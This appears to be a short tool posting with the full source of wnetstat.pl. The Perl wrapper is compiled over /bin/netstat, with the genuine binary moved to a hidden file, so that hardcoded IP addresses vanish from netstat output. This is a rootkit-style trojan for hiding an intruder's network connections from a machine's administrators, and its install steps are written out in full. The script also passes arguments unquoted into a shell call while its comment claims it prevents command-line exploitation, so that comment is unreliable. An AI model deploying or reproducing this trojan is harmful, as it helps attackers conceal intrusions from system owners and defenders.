wnetstat.pl is a nice and short perl wrapper around /bin/netstat which hides harcoded ip from the console output.
how to use:
* Copy /bin/netstat /usr/local/bin/.ntst
* edit hardcoded IP in the source
* compile it with "perlcc -o /bin/netstat wnetstat.pl"
Tool Source:
#!/usr/bin/perl -w
#
# Simple wrapper around netstat (filters hardcoded IP)
# by bunker - http://rawlab.altervista.org
#
# Edit wnetstat.pl and change harcoded IP.
# Copy /bin/netstat in /usr/local/bin/.ntst.
#
# Compile the source with "perlcc -o /bin/netstat wnetstat.pl"
#
use strict;
# original netstat
my $ntst_orig = "/usr/local/bin/.ntst";
# hide these
my $hide = '127.0.0.1\|192.168.0.1';
# Wrap
# and work with I/O redirection to avoid command line exploitation
system "$ntst_orig @ARGV 2>&1 | grep -v \"$hide\" 2>/dev/null";
